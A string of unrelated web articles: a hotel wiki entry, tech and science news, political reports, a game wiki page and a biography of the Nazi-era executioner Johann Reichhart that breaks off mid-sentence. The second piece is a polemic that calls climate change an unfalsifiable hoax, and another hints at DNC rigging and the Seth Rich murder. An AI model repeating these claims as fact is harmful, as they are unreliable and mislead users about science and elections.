-Library Hotel by Library Hotel Collection [1] is a 60-room boutique hotel in New York City, located at 299 Madison Avenue (at 41st Street), near the New York Public Library, Bryant Park, and Grand Central Terminal. The hotel was designed by architect Stephen B. Jacobs.  Library Hotel by Library Hotel Collection boasts a unique organizing principle: each of its ten guest floors has a theme, designated after a major category of the Dewey Decimal Classification (the 5th floor, for example, is the 500s, the Sciences), with each room as a subcategory or genre, such as Mathematics (Room 500.001) or Botany (Room 500.004). (Dewey categories 000, 100, and 200 are placed on the 10th, 11th, and 12th floors, respectively.) Other room themes include Erotic Literature (Room 800.001), Poetry (Room 800.003), and Music (Room 700.005). All rooms have a small complement of 50-100 books and decorations that accompany the theme, with 6,000 books overall throughout the hotel.  Because of this classification scheme, the hotel owners were sued in 2003 by the OCLC (owners of the Dewey Decimal Classification system). OCLC reached an agreement with the hotel enabling the hotel to continue using the Dewey system.[2]  Hotel Denouement from Lemony Snicket's The Penultimate Peril was modeled after the Library Hotel.[citation needed]  The Library Hotel is owned and operated by Henry Kallan whose Library Hotel Collection includes Manhattan's Casablanca Hotel, Hotel Giraffe and Hotel Elysee. A spin off of the Library Hotel's "book lovers' paradise" concept is the Library Hotel Collection's Aria Hotel concept designed for music lovers. Aria Hotel Prague opened in 2003 and Aria Hotel Budapest opened in 2015 and was named the #1 ranked hotel in the world for guest satisfaction in the 2017 TripAdvisor Traveler's Choice Awards.[3]  Room menu [ edit ]  Third Floor: Social Sciences  300.006 Law  300.005 Money  300.004 World Culture  300.003 Economics  300.002 Political Science  300.001 Communication  Fourth Floor: Language  400.006 Ancient Language  400.005 Middle Eastern Language  400.004 Asian Language  400.003 Germanic Language  400.002 Romance Language  400.001 Slavic Language  Fifth Floor: Math and Science  500.006 Astronomy  500.005 Dinosaurs  500.004 Botany  500.003 Zoology  500.002 Geology  500.001 Mathematics  Sixth Floor: Technology  600.006 Health & Beauty  600.005 Computers  600.004 Medicine  600.003 Management  600.002 Manufacturing  600.001 Advertising  Seventh Floor: The Arts  700.006 Fashion Design  700.005 Music  700.004 Photography  700.003 Performing Arts  700.002 Paintings  700.001 Architecture  Eighth Floor: Literature  800.006 Mystery  800.005 Fairy Tales  800.004 Dramatic Literature  800.003 Poetry  800.002 Classic Fiction  800.001 Erotic Literature  Ninth Floor: History  900.006 Biography  900.005 Geography & Travel  900.004 Asian History  900.003 Oceanography  900.002 Ancient History  900.001 20th Century History  Tenth Floor: General Knowledge  1000.006 New Media  1000.005 Journalism  1000.004 Museums  1000.003 Encyclopedic Works  1000.002 Almanacs  1000.001 Libraries  Eleventh Floor: Philosophy  1100.006 Love  1100.005 Paranormal  1100.004 Psychology  1100.003 Philosophy  1100.002 Ethics  1100.001 Logic  Twelfth Floor: Religion  1200.006 Mythology  1200.005 Native American Religion  1200.004 Germanic Religion  1200.003 New Age  1200.002 African Religion  1200.001 Eastern Religion  References [ edit ]  [4]  Coordinates:
-If I believed the Earth was slowly turning into cheddar cheese, I could invoke this theory to explain a lot of things. Why is the rat population in our major cities growing so quickly? Earth cheesification is providing more rat food. Why have there been so many earthquakes lately? The cheesification of the tectonic plates has made them less resistant to sudden shifts. Why are glaciers melting? The freezing point of cheddar cheese is lower than that of water; as the Earth at the poles undergoes cheesification, the unfrozen cheese is causing a slight warming of the ice sheets from below, resulting in unusual levels of melting.  Then we would be at liberty to publish headlines such as this : “Research suggests warmer summers could be causing colder winters.” This conjecture, brought to you via the magical theory of global climate change, is reported as though it is the most plausible explanation of the peculiar fact that Canadian winters do not appear to be getting any warmer.  If, however, we could devise a theory that might literally be able to repel absolutely any possible counter-evidence, then we would have accomplished something truly diabolical: an unfalsifiable theory. If we could indeed devise such a theory, then we could run wild explaining anything and everything, and absorb absolutely any eventuality, without ever needing to question our faith in the underlying hypothesis.  I could go on like this for a long time, I suppose. At some point, however, you would confront me with some natural fact that I could not logically account for by means of my cheese theory. In other words, even the greatest faith in this underlying assumption could never withstand all possible evidence.  Question you aren’t supposed to ask: Why is the non-warming of recent winters a peculiar fact in need of an explanation? After all, did anyone in the past harbor any presumption that winters ought to be getting warmer? Why should they? The difference, of course, is that in the age of global warming, everyone is supposed to know, beyond any doubt, that the Earth is indeed getting significantly warmer. Thus, every time someone casually observes that the weather is pretty chilly, or that there has been a lot of snow, all hearers in the room look at their hands awkwardly, smirk bemusedly, or display some other symptom of that feeling familiar to anyone who has had to face doubts about a deeply held religious belief: “But this just can’t be true, because if it is, then my world is about to crumble.”  The world of anthropogenic global climate change crumbled a long time ago  The world of anthropogenic global climate change crumbled a long time ago. That, in fact, is why we have a theory called “anthropogenic global climate change” in the first place. Thirty-five years ago, it was called global cooling. When the temperature records made minced meat of that “theory,” it was put on ice for a few years, as it were. Finally, on the principle that if you can’t beat Mother Nature, you must join her, the wizards who brought us global cooling conveniently revised their models to prove beyond any doubt that the newly discovered global warming trend was a man-made phenomenon. Then, around 1998, the temperature records began to flat-line. Carbon dioxide, the Enemy, was reaching ever-higher levels in the atmosphere; and yet it was no longer having the desired – er, I mean “anticipated” – effect of warming the planet as it should (oops, I mean “as the models predicted”).  For several years, the global crusaders against carbon dioxide mocked, ridiculed, and/or ignored anyone who dared to ask why, if rising CO2 levels cause global warming, temperatures were not rising at accelerating rates, as CO2 levels continued to rise exponentially. Oh, but temperatures are indeed rising, the faithful said. In fact, each year, they produced annual temperature record analyses, garnered through the official scientific records center, the UN, showing that that year had been the warmest ever recorded. Then, a little later, some fine print would appear somewhere explaining how the report had slightly overestimated the warming for the year in question.  Hedging their bets, the global warmers began offering arguments to account for the stalled warming trend, even while they continued to deny that the trend had stalled – a method equivalent to saying, “I didn’t kill my wife, but if I did, it was in self-defense.” Their main argument was a condescending appeal to the big picture that the skeptics were allegedly too narrow-minded to see: Global temperature change, they said, is a process that develops over a very long period of time. Therefore, they harrumphed, claiming that a broader trend has ceased because temperatures have not changed for a few years shows an unscientific short-sightedness.  Of course, if one were to accept this bet-hedging argument, one could turn it back on the global warmers: Eighty years can hardly be called a “big picture,” in planetary terms. The Earth is believed to be more than four billion years old. If five years without warming is too short a period to call a trend, then why is eighty years of net warming a long enough period to call a trend? From the point of view of four billion years, eighty looks an awful lot like five, does it not? (To be precise, as a percentage of four billion, 5 is 0.000000125%, while 80 is 0.000002%.) So how sure can we be that the period during which this unnatural warming is alleged to have happened is a long enough period to indicate a “long-term trend”? Will they be forced back to frightening us about global cooling again in twenty years?  Perhaps dimly recognizing this little problem, the global warming advocates – um, I mean “researchers” – finally hit upon the perfect modification of their theory, namely to say that it doesn’t matter what happens to the temperature; the cause, in any case, is man. Thus, along about the middle of this century’s first decade, we suddenly had John Kerry and Hillary Clinton exiting a Senate hearing and taking to the microphones to discuss “global climate change.” No one officially announced this name change, of course. It just sort of happened. And with it came the lovely new premise that what our CO2 emissions are causing is neither warming nor cooling, per se, but rather “change.” “What kind of change?” you ask. Invalid question. Just “change.” Change from what? From some previous year’s “climate”? From some objective standard of what would have happened “naturally,” had we icky humans not spewed the by-product of so much life-sustaining productivity into Gaia’s aura? It makes little difference; no need to fuss about what exactly the “changers” are claiming is changing, since the particular changes that might occur from here on out are of no consequence to the theory. Any change will do – including no change at all, which can also be interpreted as a change, if you tilt your head a bit to one side.  The unanimous, settled scientists and their masters, the unanimous, settled proponents of global governance, have continued to act as though they still want you to accept that temperatures are rising every year, ice caps are shrinking, polar bears are drowning, and so on. “Global climate change” is, for most practical purposes, still “global warming.” This is necessary, since global regulation requires global panic, and it would be much more difficult to stir panic over the idea – which is, officially, the theory of the moment – that “temperatures, and their effects, may or may not change in one way or another over any given period of time.”  Global warming is indispensable as a political tool, even if it can only be preserved through a fuzzy bait-and-switch operation with global climate change  Global warming is indispensable as a political tool, even if it can only be preserved through a fuzzy bait-and-switch operation with global climate change. Nevertheless, the name change provided good backside protection. “Global climate change” takes a perfectly good bit of crackpot neo-religiosity and elevates it to the level of unfalsifiable pseudo-theory – unfalsifiable, as in nothing you could possibly present to the nutters by way of facts can ever be evidence to the contrary. Why not? Because there is no contrary.  If cooling, warming, and stasis are all evidence of anthropogenic global climate change, then science has finally followed the rest of the modern world into that realm of inescapable self-incrimination dubbed the Kafkaesque. We are guilty of global climate change. There is no proof. There is not even anyone to talk to by way of defending ourselves. Having been inexplicably accused, we will simply be sent on a dreamlike quest through a never-ending maze of inhuman obfuscation until, gradually, we come to accept that the accusation against us must be true, or else it would not have been made. At this point, we must desire our own demise, as the only “just” resolution, given the undefined crimes of which we have convicted ourselves.  At last, as the fight to defend global warming reached fever pitch over some e-mails seeming to discuss evidence-alteration – remember, this defense of warming took place years after the official line was that it didn’t matter whether the temperature was rising or not – one of the main players in the scandal, and one of the most prominent and respected defenders of the cause-without-any-definable-effect, stepped forward to concede that there has been no warming since 1995. When asked whether he thought natural causes could account for the warming from 1975-1998, and if so, to what extent, he answered, “This area is slightly outside my area of expertise. When considering changes over this period we need to consider all possible factors (so human and natural influences as well as natural internal variability of the climate system).”  So let’s get this straight: Dr. Phil Jones, one of the world’s foremost authorities on global climate change, says that the question of the possibility and degree of natural climate influences is outside of his area of expertise. Translation: I don’t do climate change; I do man-made climate change. His expertise is in trying to show the existence of an influence on climate that no one prior to 1970 thought was possible, and he thinks that looking at other influences which everyone has always known were real is outside of his area. In other words, looking at known facts of nature would get in the way of his career-advancing conjectures, so, as a matter of professional policy, he doesn’t look at them.  Notice that when Jones lists “all possible factors” of warming from 1975-1998, he lists “human influences” first, as though this were the obvious first place to look for an explanation of a variation in global temperatures over a 23-year period – as though no 23-year period has ever shown a variation in temperatures before. His default assumption is the furthest one from common sense, namely that humans did it.  Likewise, in our latest contribution to unfalsifiability, in which cold winters have been interpreted as a symptom of global warming – in spite of the fact that until recently, the party line was to deny that winters are still cold at all – the research project undertaken to reach this conclusion is described this way: “Cohen and his co-authors began by asking themselves why winter temperatures in the northern hemisphere aren’t going up as quickly as in the spring, summer and fall.” Once again, the default assumption is anthropogenic global warming. The task the researchers set for themselves was to explain away falsifying evidence. For example, why were they not trying to explain how the cold winters might be causing warmer summers? Because the paradigm they are working in demands that all apparent exceptions to global warming be explained away. Thirty-five years ago, they would indeed have been making the opposite argument, in order to salvage global cooling.  Recently, a former Korean student of mine made a typical unquestioning reference to global warming. Constitutionally averse to letting smart people say stupid things, I briefly offered some of the usual arguments against anthropogenic climate change. My student answered, diplomatically, that the issue seemed to be a “mystery,” but that as she was unable to verify my facts in her first language, and as so many intelligent people were working on this issue at the UN, she was obliged to stick to her position. In other words, she was assuming, as we are all meant to do, that the burden of proof is on the “denier.”  I asked her this question: If I went to the police and told them you were a murderer, should they arrest you? Why not? Because we put the burden of proof on the accuser, which is to say, on the person proposing something that falls outside of normal assumptions. Why do we do the opposite with man-made global climate change?
-Hello there. In this article, we’ll take a look at seven articles that cover the process of data visualization for the web. The original idea was to make it helpful for as many people as possible. That’s why I tried to concentrate on different topics such as HTMl5 Canvas, CSS, SVG, JavaScript Libraries, and Gantt Charts.  1. HTML5 Canvas Tutorial: An Introduction  Our first one is not actually about charts or something like that. In fact, there are only three practical examples in this article: Drawing Lines, Drawing Rectangle, and Drawing Text. But what’s more important is that author gives you a possibility to learn how HTML5 Canvas works. And after that you can use this technology the way you want.  So, what’s so important about HTML5 Canvas? First of all, you can use it to create almost any type of project, from Data Representation to Gaming. Talking about the technology itself, it has tons of great features. It’s interactive and can respond to your actions. Every canvas object can be animated. It’s a web standard, so there’s no reason to worry about the browsers compatibility. Check the article if you ant to get the whole picture about the canvas’ strong sides.  Talking about the article, since it’s an introduction to the technology, I assume that it was written mostly for the beginners. Basic knowledge of HTML, CSS and JavaScript is everything you need to know to get the idea.  Link to the article  2. Making Charts with CSS  Something more practical this time. This article will help you build Bar Charts, Sparklines, and Pie Charts with plain CSS. What’s good about this article is that it describes the possible pros and cons of such an approach. It’s well written, and every step is described pretty well. But since this time there’s some Sass code, it’s probably not the best choice for the rookies.  Link to the article  3. Creating Your Own Online Gantt Application with dhtmlxGantt  Those two was pretty easy, huh? Well, here’s something new. This article will teach you how to build your own online Gantt Chart app using dhtmlxGantt. What’s so unusual about it? Well, unlike the previous two, this article describes the full process of application building. There are back-end and front-end parts that cover the following main phases: database creation, database handling, chart initialization and adding some extra features (e.g. exporting, important tasks highlighting, etc.).  If you want to try it by yourself, there are some preparation that should be done before you get started. You should have a local web server with PHP and MySQL running to build this chart.  Link to the article  4. Visualize Data Beautifully with Chart.js Library  Building a chart from the scratch may be not as easy as you’d like. But have no fear. There’s always a possibility to use a JavaScript library for that task. Chart.js is an open-source library that uses HTML5 canvas for rendering. It’s intuitive and easy to learn so that you won’t face any trouble.  This article describes how you can create different types of charts such as Line Chart, Bar Chart, Radar Chart, Polar Area Chart, Pie Chart and Doughnut Chart. And, moreover, they’re animated! Check this demo page if you don’t trust me.  Link to the article  5. Building a Multi-Line Chart Using D3.js  D3.js is the JavaScript library that was designed for data processing and visualization. It consists of little utilities that allow you handle the data and create DOM elements.  This article has two parts and covers the fundamental principles of chart building. From the first part, you’ll learn how to build the axes, create a single line and a multi-line chart. The second part will teach you how to make our graph scale dynamically, add the legend to your chart, and handle the events. Great beginning guide.  Link to the article: Part 1, Part 2  6. Designing Flexible, Maintainable Pie Charts with CSS and SVG  Guess, it’s the most detailed article I’ve seen in awhile. It will guide you through the process of pie chart creation covering the tiniest details.  You’ll learn how to use CSS animation, what issues you can face during the working process, and, what’s more important, what benefits you can get choosing SVG over the pure CSS.  Link to the article  7. 11 Best jQuery Charting Libraries  It’s not a secret that jQuery is a standard nowadays. There are dozens of famous JavaScript frameworks that were built on its basis. jQuery is the must. No doubt about it.  That’s why I chose this article. Every charting library has its own strong and weak sides. There are big and advanced libraries that allow you build some exotic charts like Cytoscape.js, for example. On the other hand there’s Easy Pie Chart that does one job – renders pie charts, but it makes it good.  Link to the article
-NY Daily News reports that the Department of Justice has announced that the NYC Board of Elections broke federal law when it improperly purged nearly 120,000 Democratic Brooklyn voters from the rolls ahead of last April’s presidential primary. This latest report adds to widespread allegations that the Democratic Party rigged the primary in favor of Hillary Clinton.  New York City Board of elections was reported to have admitted it broke Federal law last year, after “the number of active registered Democrats dropped there by 63,558 voters between November 2015 and April 2016. That translates into a 7 percent drop in registered Democrats in the borough.”  WNYC reported: “States are not allowed to kick voters off the roles solely because they’ve failed to vote — but may remove them only if there’s reliable information indicating they have moved away, they don’t respond to a notice sent to their home, and they don’t vote through the second federal general election after that notice.”  However, according to the latest reports, “BOE didn’t follow those rules in its purge — and in fact removed thousands of voters who had voted since 2008, along with others who had not but were entitled to remain registered, according to the federal brief.”  Although none of the news reports have explicitly stated that this purge was in favor of the Clinton campaign, the news corroborates allegations that the primary was rigged in favor of the ultimately unsuccessful Democratic nominee.  That Democratic voters were improperly purged from the voting rolls corroborates numerous claims that the DNC actively orchestrated to rig the 2016 Democratic Primary in favor of Hillary Clinton.  Accusations of corruption leveled at the DNC were largely validated by Wikileaks’ release of the DNC emails, as well as defense counsel statements in the DNC Fraud lawsuit to the effect that the DNC favoring one candidate over another was not illegal.  The Daily Mail recently reported that a Bernie Sanders campaign organizer and long-time Democrat has also filed a new lawsuit, accusing the Democratic National Committee (DNC) and Hillary Clinton of fraud and seeking access to their servers: “a move that his lawyer believes will solve the murder of DNC staff member Seth Rich.”  Disobedient Media previously reported on the unfolding DNC Fraud Lawsuit, and although the lawsuit against the DNC supporters was dismissed, attorneys for the plaintiffs in the case filed an appeal last month.  Share this: Tweet  Print  More
-Windows 10: Free Upgrades, Spartan Browser & Holographics  Microsoft said its developers consulted 1.7 million Windows Insiders, who delivered 800,000 pieces of feedback on more than 200 topics regarding the new OS.  Windows 10: 7 Predictions Of What's Next (Click image for larger view and slideshow.)  Microsoft executives discussed how a slew of new Windows 10 features will operate across PCs, tablets, laptops and smartphones … and casually announced its foray into holographic technology -- during an event at the company's Redmond, Wash., headquarters on Jan. 21.  It's clear that Microsoft understands its Windows 8 OS was not well received, and it's working to bring a more seamless, personalized computing experience to enterprises and homes. To do this, developers consulted 1.7 million Windows Insiders, who delivered 800,000 pieces of feedback on more than 200 topics regarding the new OS, according to the company.  Terry Myerson, executive vice president of Microsoft's operating systems group, kicked off the day's presentations with the news of free upgrades. For the first year that Windows 10 is available, Microsoft will provide a free upgrade to the OS for all devices running Windows 7, Windows 8.1, and Windows Phone 8.1, said Myerson. Windows 10 will be available as a service, and Microsoft will keep it current for the supported lifetime of the device it's running on.  Windows 10 offers Windows 7 fans a more familiar experience than Windows 8 did. In addition to a new notifications bar, users will be happy to see the return of the Start menu, which is available in the traditionally small view, or in full-screen view.  [10 Real Reasons Microsoft Skipped Windows 9]  The new Continuum interface will provide a single platform across all devices and is designed to allow users to seamlessly transition from tablet to PC mode by attaching the keyboard and mouse.  Additionally, Windows 10 PCs will live-sync with Windows 10 mobile devices. The universal app platform offers the "mobility of experience" for users; all apps will perform similarly no matter which Windows device is being used.  Cortana played a major role at the Jan. 21 event. Microsoft's spoken-voice competitor to Apple's Siri will join the Windows 10 desktop with new features that enhance PC functionality. Cortana can search within a device's hard drive for specific documents, send emails, play or pause music automatically, and display notifications or photos.  The mobile version of Windows 10 features customized background images, grouped app lists, and additional features to the Action Center. Users can sync notifications for desktops and PCs, adjust the keyboard size to type with one hand, or speak to type. As predicted, the Windows 10 mobile OS will feature mobile-enhanced versions of Word, Excel, Powerpoint, and Outlook. The universal touch-first apps will also be available across devices.  Microsoft also confirmed the development of a new browser, code-named Project Spartan, which will be available for PCs and mobile devices. Features include an enhanced note-taking mode in which users can write on webpages then save and share them, a reading list that becomes part of the core browsing experience on all devices, and Cortana.  Gamers will be happy to know that Microsoft is also taking steps to make games more personal and social. The new Xbox app for Windows 10 will let gamers stream and play games on PCs, as well as save and share video clips from game-play.  Microsoft saved two big surprises for the end of its event. The first, Microsoft Surface Hub, is an 84-inch display that lends itself to meetings and brainstorming sessions. The multi-functional touch screen is designed to allow users to connect with remote team members, move and mark screen content, and share meeting notes with participants.  [Office 365 is getting an upgrade: Microsoft Buys Equivio]  The second, and arguably most exciting of the day's announcements, is "Windows Holographic," a project intended to deliver holographic computing through Windows 10.  Using the see-through high-definition Microsoft HoloLens headgear, users can interact with holograms surrounding them. The gear contains advanced sensors to capture environmental details, high-end CPU and GPU, and HPU (holographic processing unit). The holographic chip understands the wearer's movements and voice, and displays holograms in midair or on physical objects.  "We invented the most advanced holographic computer the world has ever seen," said Alex Kipman, technical fellow in Microsoft's operating systems group and head of Windows Holographic. Users can interact with the Windows 10 HoloStudio app to create 3D objects by means of voice and motion.  Attend Interop Las Vegas, the leading independent technology conference and expo series designed to inspire, inform, and connect the world's IT community. In 2015, look for all new programs, networking opportunities, and classes that will help you set your organization’s IT action plan. It happens April 27 to May 1. Register with Discount Code MPOIWK for $200 off Total Access & Conference Passes.  Kelly Sheridan is the Staff Editor at Dark Reading, where she focuses on cybersecurity news and analysis. She is a business technology journalist who previously reported for InformationWeek, where she covered Microsoft, and Insurance & Technology, where she covered financial ... View Full Bio  We welcome your comments on this topic on our social media channels, or [contact us directly] with questions about the site.
-In a paper published in the physics journal, Classical and Quantum Gravity, Dr. Diego Rubiera-Garcia from the University of Lisbon in Portugal, and his team, posited that a physical object, such as a person or spacecraft, could survive the gravitational forces of wormhole travel. To make the theory and math work, they do have to play fast and loose with Einstein, but that’s not a big deal apparently.  According to Einstein’s Theory of Relativity, the innermost centre of a black hole holds a singularity; a point where gravitational forces are so strong that space and time end. If any object made it to a black hole’s event horizon, and eventually its singularity, it would be stretched into infinity; simply put, an infinitely thin piece of infinitely long spaghetti. However, since no evidence exists to support the existence of singularities, physicists have been taking some liberties with the theory.  Earlier this year, the theory of the ‘naked singularity’ was published, which suggests the universe has 5 dimensions instead of 4. New theories in quantum physics also call into question many theoretical aspects of Einstein’s work, especially those concerning black holes. While we rely heavily on the current ‘rules’ of the physical universe, Einstein’s work is not set in stone; the universe could be much spookier and weird. Knowing this, physicists have begun to develop new theories which fill in a few theoretical gaps and loopholes; one is Rubiera-Garcia’s hypothesis that if a singularity isn’t necessarily the centre of a given black hole, it could be a finite-sized wormhole.  He and his team began by figuring out what would happen to objects if they survived the event horizon and made it to the wormhole. Using geodesic lines, which are the paths in space-time that free-falling objects follow, they created a model. Using a given object, they plotted the chemical and physical interactions that keep an object together as it travels through space and time. Rubiera-Garcia states,  Each particle of the observer [object] follows a geodesic line determined by the gravitational field…Each geodesic feels a slightly different gravitational force, but the interactions among the constituents of the body could nonetheless sustain the body.  In other words, if there is no singularity but rather a finite wormhole, objects would still experience extreme gravitational forces from the black hole, but ‘stay together’ in a sense. The team explains,  …different parts of the body will still establish physical or chemical interactions and, consequently, cause and effect still apply all the way across the throat of the wormhole…  The objects that enter the black hole will only be stretched and crushed to the size of the wormhole. If that object entered the wormhole, and hypothetically came out the other side, it would still be intact. It would be really weird looking, but not destroyed, which, in theoretical physics, isn’t too bad. It’s better than entering a singularity and meeting the end of space and time anyway.  This is obviously all theoretical, and since we have yet to actually ‘see’ a black hole, it will remain that way. That being said, it at least allows for physicists to begin redeeming the idea of the black hole, which has carried with it a stigma of being a frightening obliterator of all things that exist. Wormholes are cute, singularities are not.  For more information on wormholes, and whether they could possibly exist, check out the video below.
-Story highlights A hearing officer would determine if a complaint has merit, requiring schools to stop teaching any controversial material  But critics fear anyone with an ideological agenda will be able to challenge what is being taught  (CNN) A new Florida law would let anyone in the state challenge, and possibly change, what kids are learning in school.  Any Florida resident can raise concerns about teaching material they find unfit for public school classrooms, according to legislation that went into effect Saturday. The bill was introduced in February by Rep. Byron Donalds, R-Naples, and was signed into law last week after passing with bipartisan support.  An "unbiased hearing officer," not employed by the school district, would determine if a complaint has merit, requiring schools to take any controversial books or material out of the classroom.  Previously, only parents could file complaints, which were then heard by a school board.  Supporters of the law have disputed material presenting global warming and evolution as "reality." Others found certain reading material to be "pornographic." And for some, US and world history textbooks seem biased and anti-American.  Read More
-For an overview of spacesuits in the Fallout series , see Space suit.  The REPCONN space suit is a piece of clothing in Fallout: New Vegas.  Contents show]  Characteristics Edit  These suits are used for traveling in the inhospitable vacuum of space. It is classified as a light armor and can be repaired with radiation suits. It also has a high radiation resistance.  Location Edit  This armor is found in the REPCONN test site during the quest Come Fly With Me. It is found down in the REPCONN basement, overlooking the inaccessible irradiated rocket hangar, where you go to give the fuel and thrust control modules to the Bright Brotherhood. The space suit and helmet will be on a shelf to the left when you enter the door. Unlike the suit, the helmet does not provide additional radiation resistance.  The only other space suits are worn by Bright followers, who will be found in the irradiated hangar. By killing them, extra space suits can be procured.  Notes Edit  Behind the scenes Edit  The space suit was inspired by this particular photograph, according to Josh Sawyer's Facebook account.[1]  Bugs Edit  PC Playstation 3 Xbox 360 [verified]  PC Playstation 3 Xbox 360 player.equipitem 00025b83 . Since this is just an appearance malfunction, you do not need it at all. Equipping other armors will display that armor's corresponding left glove instead. [verified]  . Since this is just an appearance malfunction, you do not need it at all. Equipping other armors will display that armor's corresponding left glove instead. Xbox 360 [verified]  PC Playstation 3 Xbox 360 [verified]  PC Playstation 3 [verified]  Gallery Edit  The image used to model the spacesuit  Add an image to this gallery
-State Auditor Jim Zeigler is sticking by his endorsement of Roy Moore in the special election for the U.S. Senate and dismissed the relevance of a Washington Post story about Moore's alleged pursuit of teenage girls when he was in his early 30s.  "First, Roy Moore denies the report," Zeigler said. "Secondly, it happened 37 years ago. Third, in each of the alleged incidents, the Washington Post says there was no sexual intercourse and he did not attempt sexual intercourse.  "So even if you believe the Washington Post story, he stopped. But he denies the Washington Post report," Zeigler continued.  Religious leaders slam Zeigler for comparing Moore scandal to Joseph and Mary "Take Joseph and Mary. Mary was a teenager and Joseph was an adult carpenter. They became parents of Jesus," Zeigler said. "There's just nothing immoral or illegal here. Maybe just a little bit unusual."  "The Washington Post has had paid investigators in Alabama for the last month trying to dig up dirt on Roy Moore," Zeigler said. "The best they could come up with was something that happened 37 years ago that he denies."  Zeigler also questioned the credibility of the main accuser in the story.  In an interview with the Washington Examiner, Zeigler mentioned encounters between men and much younger women in the Bible.  "Zechariah was extremely old to marry Elizabeth and they became the parents of John the Baptist," Zeigler said. "Also take Joseph and Mary. Mary was a teenager and Joseph was an adult carpenter. They became parents of Jesus."  "There's just nothing immoral or illegal here. Maybe just a little bit unusual."  Edited at 4:53 p.m. to correct spelling of Zechariah.
-Gov. John Kasich (R-Ohio) said on Tuesday that he supports the Cleveland Cavaliers signing retired NBA guard Allen Iverson.  “That’s been a rumor,” the presidential candidate said when asked by TMZ about the former professional basketball player.  ADVERTISEMENT  “I’d love to have Iverson back in Cleveland,” he said. "Are they talking about it?  “Wow, A.I.,” the 2016 GOP presidential candidate added. "I’m for it.”  Kasich also praised LeBron James, the Cavaliers’ current hoop star.  “He’s right up there,” he said when asked if the NBA forward is a “savior” of Ohio.  TMZ said on Tuesday that rumors have repeatedly circulated that Iverson is interested in playing for the Cavaliers next season.  Iverson initially retired from the NBA in October 2013 following 14 seasons in the professional basketball league.  He was selected as an NBA All-Star 11 times and won its MVP award during the 2001 season.  Iverson, now 40, most notably played for the Philadelphia 76ers but also had stints as a Denver Nugget, a Detroit Piston and a Memphis Grizzly.  Kasich’s endorsement comes as he struggles for his own success in the GOP’s crowded 2016 field.  The Ohio governor presently ranks seventh out of 15 Republican White House hopefuls across multiple national polls.  Kasich currently receives 3.2 percent voter support, according to the latest RealClearPolitics average of samplings.
-Johann Reichhart ( – ) was a state-appointed judicial executioner in Bavaria, Germany from 1924–1946. During the Nazi Germany era, he executed numerous people who were sentenced to death for resisting National Socialism.[2]  Life and career [ edit ]  Johann Reichhart was born in Wichenbach near Wörth an der Donau into a family of Bavarian knackers and executioners, including his uncle Franz Xaver Reichhart and brother Michael, that went back eight generations to the mid-eighteenth century. His father (d. 1902) had a small farm on a remote land in Wichenbach near Tiefenthal (Wörth an der Donau) and took on extra work as a master knacker. Reichhart attended the Volks-school and vocational school in Wörth an der Donau, both of which he completed successfully. He then completed an apprenticeship as butcher, and served as a soldier in the First World War.[2]  Beginnings as an executioner in the Weimar Republic [ edit ]  In April 1924, Reichhart took over the office of state judicial executioner in the Free State of Bavaria from his uncle Franz Xaver Reichhart (1851-1934), who retired at age 70. For each execution, Reichhart was paid 150 Goldmark plus ten marks for daily expenses, and given a 3rd-class railway ticket. For executions in the Palatinate (Pfalz), he was dispatched by express train.[2]  Executions decreased during 1924–1928, and Reichhart executed only 23 people (only one in 1928), and he had difficulty making a living for his family. He negotiated the right to take on other work domestically and abroad, and was released from the requirement of local residence. His business ventures failed, however; he gave up his wagon transport business in 1925, and in 1926 his inn at Mariahilfplatz. He sold Catholic treatises in Upper Bavaria as a traveling salesman. In 1928, he attempted but failed to resolve his contract with the Bavarian Ministry of Justice. He moved his residence to The Hague and became a successful independent greengrocer.  In the spring of 1931 and in July 1932, Reichhart travelled to Munich to carry out death sentences at Stadelheim Prison. In July 1932, several Dutch newspapers described his "other activities" and revealed his identity, which was normally kept incognito. As a result, Reichhart's business dwindled, and in the spring of 1933 he returned to Munich, where he considered ending his work as executioner.[2]  National Socialism [ edit ]  On 22 June 1933, following the seizure of power by the National Socialists, Reichhart signed a new contract with the Bavarian Ministry of Justice. He now received a fixed, significantly higher annual salary, paid monthly. On 18 July 1933, following a request from the Ministry of Justice for Saxony, Reichhart was also authorized to execute in the state of Saxony and received a flat fee for "each occurrence". The guillotine (Fallschwertmaschine) and assistants were provided to him by the Free State of Saxony at the execution sites in Dresden and Weimar. In January 1934, the Bavarian judiciary raised his annual income to 3,720 Reichsmark, and he no longer needed to worry about his financial security.[2]  From 1 September 1933, Reichhart joined the National Socialist Motor Corps (NSKK), the National Socialist War Victim's Care (NSKOV), the National Socialist People's Welfare (NSV) and the German Labour Front (DAF). In April 1937 he joined the Nazi Party (NSDAP).  The Reich Ministry of Justice (Reichsjustizministerium), by decree of 25 August 1937, reassigned its areas of responsibility and named three executioners. Ernst Reindelr [de] was responsible for the central execution sites in Berlin, Wroclaw and Königsberg; Friedrich Hehr [de] was responsible for executions in Butzbach, Hamburg, Hanover and Cologne; and Reichhart was named for executions in Munich, Dresden, Stuttgart and Weimar. On 19 February 1939, after the annexation of Austria, the Reich Minister of Justice ordered a change of territories: Reichhart gave Weimar to Friedrich Hehr, and added Vienna and Frankfurt to his territories (Frankfurt replacing Butzbach). Reichhart temporarily suffered from depression.[2]  During his service, Reichhart worked to accelerate the execution process and make it "less stressful" for convicted people. Beginning around 1939, he had the tipping board (bascule) on the guillotine replaced by a fixed bench. The condemned was held by his assistants, without restraint devices, until the hatchet blade was dropped. Reichhart abolished the black blindfold; instead, one of his assistants held the convict's eyes closed. These measures shortened the duration of the actual execution to 3–4 seconds (time specified by Johann Reichhart).[2]  Reichhart also carried out executions in Cologne, Frankfurt-Preungesheim, Berlin-Plötzensee, Brandenburg-Görden and Breslau, where central execution sites had also been constructed. From 1938 to 1944 he was also executioner for central execution sites in Vienna and Graz. From 1924 on, during the Weimar Republic and the period of National Socialism, he executed 2,951 people (250 of them women) via guillotine, and 59 by hanging. He also executed Hans Scholl and Sophie Scholl (d. 22 February 1943), the most famous members of the resistance group White Rose (see also Hans and Sophie Scholl). Reichhart later said that he had never seen anyone die as bravely as Sophie Scholl.[2]  After the 20 July plot to assassinate Adolf Hitler in 1944, the number of executions rose sharply. In December 1944, in the administrative divisions of central execution centres, Reichhart was designated as the executioner of the "execution centre for the execution district VIII", which included Munich-Stadelheim (Stadelheim Prison), Remand Prison Stuttgart and Penitentiary Bruchsal.[2]  Executioner for the US Military Government [ edit ]  Following VE Day, Reichhart, a member of the Nazi Party, was arrested by members of the United States Army and spent one week in Stadelheim Prison for the purposes of denazification. He was not tried for carrying out his official duties as judicial executioner. He was subsequently employed by the U.S. Office of Military Government, until the end of May 1946, to help execute 156 Nazi war criminals on the gallows at 